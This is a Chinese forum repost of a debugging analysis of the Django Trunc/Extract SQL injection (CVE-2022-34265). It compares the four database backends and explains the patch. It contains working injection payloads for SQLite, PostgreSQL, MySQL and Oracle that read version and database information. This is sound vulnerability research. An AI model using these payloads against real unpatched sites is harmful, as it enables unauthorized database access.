社区所有版块导航
Python
python开源   Django   Python   DjangoApp   pycharm  
DATA
docker   Elasticsearch  
aigc
aigc   chatgpt  
WEB开发
linux   MongoDB   Redis   DATABASE   NGINX   其他Web框架   web工具   zookeeper   tornado   NoSql   Bootstrap   js   peewee   Git   bottle   IE   MQ   Jquery  
机器学习
机器学习算法  
Python88.com
反馈   公告   社区推广  
产品
短视频  
印度
印度  
Py学习  »  Django

CVE-2022-34265 Django SQL 注入漏洞调试分析

衡阳信安 • 3 年前 • 338 次点击  

前言

Django 这个漏洞 p 牛在小密圈里发过一些分析,有谈到过不同数据库的情况下,漏洞存在情况有异,其他复现的文章我也多少阅读过,大多是 PostgreSQL 和 MYSQL 的,并且有些仅谈到了其中一个漏洞函数,笔者个人是有些强迫症的—— Django 主流支持的数据库还有 Oracle 和 SQLite,payload 的构造也不尽相同,就想着自己搭建环境调试看看具体情况。

由于笔者个人水平有限,行文如有不当,还请各位师傅评论指正,非常感谢。

环境配置

环境使用的是作者提供的样例(基于官方文档的例子),当然 p 牛的 vulhub 也建议读者去复现一下(Trunc 的回显是非常直观的),如果读者有改动数据库的需求的话,直接在 settings.py 文件中修改 DATABASE 即可,笔者的配置如下,具体请根据注释修改。

# SQLite 配置# Django 默认数据库 SQLiteDATABASES = {
'default': {
'ENGINE': 'django.db.backends.sqlite3',
'NAME': BASE_DIR / 'db.sqlite3',
}}# PostgreSQL 配置# 需要先 pip install psycopg2# 如果有问题,请走 https://github.com/psycopg/psycopg2# DATABASES = {# 'default': {# 'ENGINE': 'django.db.backends.postgresql',# 'NAME': '你的数据库名称',# 'USER': '数据库用户名',# 'PASSWORD': '数据库密码',# 'HOST': '127.0.0.1',# 'PORT': '默认是5432,视读者实际安装端口修改',# }# }# MYSQL 配置# 需要先 pip install mysqlclient# DATABASES = {# 'default': {# 'ENGINE': 'django.db.backends.mysql',# 'NAME': '你的数据库名称',# 'HOST': 'localhost',# 'PORT': '3306',# 'USER': '数据库用户名',# "PASSWORD": '数据库密码',# }# }# Oracle 配置# Oracle 的写法有两种,新安装的读者可以直接套用以下配置# DATABASES = {# 'default': {# 'ENGINE': 'django.db.backends.oracle',# 'NAME': 'localhost:1521/orcl',# 'USER': 'system',# 'PASSWORD': '数据库密码',# }# }

修改完后,根据自己的 appname 填入,执行以下命令生成实验表即可(如果你是用了作者的环境,直接执行第三条即可)。

python3 manage.py makemigrations [appname]
python3 manage.py sqlmigrate [appname] 0001
python3 manage.py migrate

VS 调试的话,配置 launch.json 中的 justMyCode 记得改为 false 才能调试到 Django 中的代码:

漏洞详情

在受影响的 Django 版本中,如果 ORM 日期函数 Trunc() (其中参数 kind)和 Extract()(其中参数 lookup_name),在业务逻辑中前端页面没有进行输入过滤、转义,则可构造恶意 payload 导致 SQL 注入攻击。

将 lookup_name 和 kind 限制在已知安全列表中的应用程序不受影响。

官方通告:Django security releases issued: 4.0.6 and 3.2.14 | Weblog | Django (djangoproject.com)

影响版本

漏洞函数介绍

简单来说 Extract() 通常用于提取日期一部分,比如我想要获取新海诚所有动漫电影上映的年份,侧重的是日期。

而 Trunc() 是聚合函数,常常用在统计某个日期的一部分所发生的事或者某一数据,比如我想要获取 2019 年上映了多少动漫电影、9 月某部电影的票房多少等等,侧重的是数据。

以下是官方文档的介绍供补充:

Extract() 常用于提取日期的一个组成部分作为一个数字。

具体参数设置:

lookup_name 设置不同值的结果:

上面的每个 lookup_name 都有一个相应的 Extract 子类(下面列出的),通常应该用这个子类来代替比较啰嗦的等价物,例如,使用 ExtractYear(...) 而不是 Extract(...,lookup_name='year')

Trunc() 用于截断日期的某一部分,它及其子类通常用于过滤或汇总数据(关心某事是否发生在某年、某小时或某天,而不关心确切的秒数时),比如用来计算每天的销售量。

具体参数设置:

kind 设置不同值的结果:

同样的,以上每个 kind 都有一个对应的 Trunc 子类(下面列出的),通常应该用这个子类来代替比较啰嗦的等价物,例如使用 TruncYear(...) 而不是 Trunc(...,kind='year')

审计调试

首先明确可控的参数,在漏洞详情中有提到过 Extract 中的 lookup_name 和 Trunc 中的 kind 这两个参数,这俩在调试过程中发现其实就是 lookup_type 。

因为具体过程比较复杂,在省略了一系列包括使用 F() 对象生成 sql 表达式、查找子类等等过程后,笔者总结形成 sql 的过程大致如下:

django\db\models\functions\datetime.py -> class Extract / (class Trunc -> class TruncBase)

django\db\models\query.py ->class QuerySet

Django 中对数据库的所有查询以及更新交互都是通过 QuerySet 来完成的,本质上是一个懒加载的对象,在内部,创建、过滤、切片和传递一个 QuerySet 不会真实操作数据库,在对查询集提交之前,不会发生任何实际的数据库操作。

django\db\models\functions\datetime.py -> as_sql

as_sql 用于生成数据库函数的 SQL 片段,而针对 Oracle 后端数据库调用的是 as_oracle 。

django\db\models\sql\compiler.py -> class SQLCompile -> compile

compile 为每个表达式生成 sql,并将结果用逗号连接起来,然后在模板中填入数据,并返回 sql 和参数。

django\db\models\lookups.py -> Lookup

最后笔者发现可以通过 django\db\backends\ [数据库] \operations.py (就是环境搭建部分 DATABASES 中 ENGINE 对应的配置)中的 datetime_extract_sql 以及 datetime_trunc_sql 方法对于 lookup_type 这个参数的处理来判断是否存在漏洞。

以下调试部分都基于上面总结的过程来进行分析。

SQLite

def datetime_extract_sql(self, lookup_type, field_name, tzname):
return "django_datetime_extract('%s', %s, %s, %s)" % (
lookup_type.lower(),
field_name,
*self._convert_tznames_to_sql(tzname),
)

def datetime_trunc_sql(self, lookup_type, field_name, tzname):
return "django_datetime_trunc('%s', %s, %s, %s)" % (
lookup_type.lower(),
field_name,
*self._convert_tznames_to_sql(tzname),
)

可以看到只是将值变小写了。

先看正常测试查询结果:

调试过程中获取到 sql 语句如下:

SELECT "vulmodel_experiment"."id", "vulmodel_experiment"."start_datetime", "vulmodel_experiment"."start_date", "vulmodel_experiment"."start_time", "vulmodel_experiment"."end_datetime", "vulmodel_experiment"."end_date", "vulmodel_experiment"."end_time" FROM "vulmodel_experiment" 
WHERE django_datetime_extract('year', "vulmodel_experiment"."start_datetime", NULL, NULL) = (django_datetime_extract('year', "vulmodel_experiment"."end_datetime", NULL, NULL))

调试中看到 year 作为 payload 拼接进语句,此前是毫无过滤的,因此造成了注入。

Trunc 函数的 sql 语句:

django_datetime_trunc('year', "vulmodel_experiment"."start_datetime", NULL, NULL)-- 查询语句SELECT "vulmodel_experiment"."id", "vulmodel_experiment"."start_datetime", "vulmodel_experiment"."start_date", "vulmodel_experiment"."start_time", "vulmodel_experiment"."end_datetime", "vulmodel_experiment"."end_date", "vulmodel_experiment"."end_time" FROM "vulmodel_experiment" WHERE django_datetime_cast_date("vulmodel_experiment"."start_datetime", NULL, NULL) = (django_datetime_trunc('year', "vulmodel_experiment"."start_datetime", NULL, NULL))

由上可构造 poc(Extract 和 Trunc 的构造类同):

/extract/?lookup_name=year',end_datetime,NULL,NULL)) AND 1=1-- +
/extract/?lookup_name=year',end_datetime,NULL,NULL)) AND 1=2-- +

以上回显不同,可以使用盲注,另外 SQLite 没有 IF,用 CASE WHEN 即可。

PostgreSQL

def datetime_extract_sql(self, lookup_type, field_name, tzname):
field_name = self._convert_field_to_tz(field_name, tzname)
return self.date_extract_sql(lookup_type, field_name)

def datetime_trunc_sql(self, lookup_type, field_name, tzname):
field_name = self._convert_field_to_tz(field_name, tzname)
# https://www.postgresql.org/docs/current/functions-datetime.html#FUNCTIONS-DATETIME-TRUNC
return "DATE_TRUNC('%s', %s)" % (lookup_type, field_name)

date_extract_sql

def date_extract_sql(self, lookup_type, field_name):
...
else:
# 进入这个分支
return "EXTRACT('%s' FROM %s)" % (lookup_type, field_name)

Extract 的 sql 语句:

调试获取到的 sql 语句如下:

EXTRACT('year' FROM "vulmodel_experiment"."start_datetime" AT TIME ZONE 'UTC')

Trunc 的 sql 语句:

DATE_TRUNC('year', "vulmodel_experiment"."start_datetime");-- 查询语句如下SELECT "vulmodel_experiment"."id", "vulmodel_experiment"."start_datetime", "vulmodel_experiment"."start_date", "vulmodel_experiment"."start_time", "vulmodel_experiment"."end_datetime", "vulmodel_experiment"."end_date", "vulmodel_experiment"."end_time" FROM "vulmodel_experiment" WHERE ("vulmodel_experiment"."start_datetime")::date = (DATE_TRUNC('year', "vulmodel_experiment"."start_datetime"))

由上构造 payload:

/extract/?lookup_name=year' FROM start_datetime)) OR 1=1;select cast((select version()) as numeric)-- +
/trunc/?kind=year', start_datetime)) OR 1=1;select cast((select version()) as numeric)-- +

报错注入如下:

因此 Extract 和 Trunc 在 PostgreSQL 中是存在漏洞的。

MYSQL

def datetime_extract_sql(self, lookup_type, field_name, tzname):
field_name = self._convert_field_to_tz(field_name, tzname)
return self.date_extract_sql(lookup_type, field_name)

def datetime_trunc_sql(self, lookup_type, field_name, tzname):
field_name = self._convert_field_to_tz(field_name, tzname)
fields = ["year", "month", "day", "hour", "minute", "second"]
# 可以看到 fields 都有对应的 format 填充
format = (
"%%Y-",
"%%m",
"-%%d" ,
" %%H:",
"%%i",
":%%s",
) # Use double percents to escape.
format_def = ("0000-", "01", "-01", " 00:", "00", ":00")
if lookup_type == "quarter":
return (
"CAST(DATE_FORMAT(MAKEDATE(YEAR({field_name}), 1) + "
"INTERVAL QUARTER({field_name}) QUARTER - "
+ "INTERVAL 1 QUARTER, '%%Y-%%m-01 00:00:00') AS DATETIME)"
).format(field_name=field_name)
if lookup_type == "week":
return (
"CAST(DATE_FORMAT(DATE_SUB({field_name}, "
"INTERVAL WEEKDAY({field_name}) DAY), "
"'%%Y-%%m-%%d 00:00:00') AS DATETIME)"
).format(field_name=field_name)
try:
i = fields.index(lookup_type) + 1
except ValueError:
sql = field_name
else:
format_str = "".join(format[:i] + format_def[i:])
sql = "CAST(DATE_FORMAT(%s, '%s ') AS DATETIME)" % (field_name, format_str)
return sql

就上面的来看 Trunc 是不存在漏洞的,都用对应 format 格式字符串代替了,来看 Extract 调用的 date_extract_sql

def date_extract_sql(self, lookup_type, field_name):
...
else:
# EXTRACT returns 1-53 based on ISO-8601 for the week number.
# 进入这个分支
return "EXTRACT(%s FROM %s)" % (lookup_type.upper(), field_name)

不过是将值变为了大写。

下面调试获取 sql 语句看看:

调试获取到 EXTRACT sql 语句如下:

EXTRACT(YEAR FROM `vulmodel_experiment`.`start_datetime`)

注意 MYSQL 中拼接没用单双引号。

payload 构造:

/extract/?lookup_name=year from start_datetime)) and updatexml(1,concat(1,database()),0)-- +


接下来测试 Trunc 函数:

调试获取到的 sql 语句如下:

CAST(DATE_FORMAT(`vulmodel_experiment`.`start_datetime`, '%%Y-01-01 00:00:00') AS DATETIME)-- 查询语句SELECT `vulmodel_experiment`.`id`, `vulmodel_experiment`.`start_datetime`, `vulmodel_experiment`.`start_date`, `vulmodel_experiment`.`start_time`, `vulmodel_experiment`.`end_datetime`, `vulmodel_experiment`.`end_date`, `vulmodel_experiment`.`end_time` FROM `vulmodel_experiment` WHERE


    
 DATE(`vulmodel_experiment`.`start_datetime`) = (CAST(DATE_FORMAT(`vulmodel_experiment`.`start_datetime`, '%%Y-01-01 00:00:00') AS DATETIME)) LIMIT 21

可以看到与代码对应了,故 MYSQL 后端 Trunc 函数并不存在该漏洞。

Oracle

def datetime_extract_sql(self, lookup_type, field_name, tzname):
field_name = self._convert_field_to_tz(field_name, tzname)
return self.date_extract_sql(lookup_type, field_name)

def datetime_trunc_sql(self, lookup_type, field_name, tzname):
field_name = self._convert_field_to_tz(field_name, tzname)
# https://docs.oracle.com/en/database/oracle/oracle-database/21/sqlrf/ROUND-and-TRUNC-Date-Functions.html
if lookup_type in ("year", "month"):
sql = "TRUNC(%s, '%s')" % (field_name, lookup_type.upper())
elif lookup_type == "quarter":
sql = "TRUNC(%s, 'Q')" % field_name
elif lookup_type == "week":
sql = "TRUNC(%s, 'IW')" % field_name
elif lookup_type == "day":
sql = "TRUNC(%s)" % field_name
elif lookup_type == "hour":
sql = "TRUNC(%s, 'HH24')" % field_name
elif lookup_type == "minute":
sql = "TRUNC(%s, 'MI')" % field_name
else:
# 进入这个分支
sql = (
"CAST(%s AS DATE)" % field_name
) # Cast to DATE removes sub-second precision.
return sql

可以看到 Trunc 是不存在的,拼接进去的只有 field_name,date_extract_sql 还是老样子改了个大写:

def date_extract_sql(self, lookup_type, field_name):
...
else:
# 进入这个分支
# https://docs.oracle.com/en/database/oracle/oracle-database/21/sqlrf/EXTRACT-datetime.html
return "EXTRACT(%s FROM %s)" % (lookup_type.upper(), field_name)

Extract 调试:





    

调试获取到的 sql 语句:

EXTRACT(YEAR FROM "VULMODEL_EXPERIMENT"."START_DATETIME")

payload 可类似构造如下(Oracle 不能堆叠注入):

/extract/?lookup_name=year from start_datetime)) and 1=ctxsys.drithsx.sn(1,(select banner from sys.v_$version where rownum=1))-- +



接下来测试 Trunc 函数:

sql 语句如下:

TRUNC("VULMODEL_EXPERIMENT"."START_DATETIME") = (CAST("VULMODEL_EXPERIMENT"."START_DATETIME" AS DATE))

没有 lookup_type 拼接入,所以 Oracle 后端 Trunc 也是不存在漏洞的。

修复总结

由上审计调试过程可以得出一个结论——在 Django 影响版本下, Extract 在常用四大数据库中是都存在漏洞的,而 Trunc 在 Oracle 和 MYSQL 作为后端数据库时并不存在漏洞,其他比如 MariaDB 是同 MYSQL 共享后端的,漏洞存在情况应同 MYSQL 一致,而其他第三方数据库支持的 Django 版本和 ORM 功能有很大的不同,这些都要具体情况具体分析了。

来看看是怎么修复的:

4.0.x 的补丁

3.2.x 的补丁

可以看到在 base 模块(因为 Django 是子类化内置数据库后端的)加了一个正则匹配,而之后在 as_sql 生成 sql 片段时就做了一个判断,提前做好了过滤:

参考文档

数据库函数 | Django 文档 | Django (djangoproject.com)

GitHub - aeyesec/CVE-2022-34265: PoC for CVE-2022-34265 (Django)

以及 p 牛在《代码审计》知识星球中的分析。


来源先知(https://xz.aliyun.com/t/11628#toc-0)


注:如有绘画请联系删除





欢迎大家一起加群讨论学习和交流

快乐要懂得分享,

加倍的快乐。

Python社区是高质量的Python/Django开发社区
本文地址:http://www.python88.com/topic/146471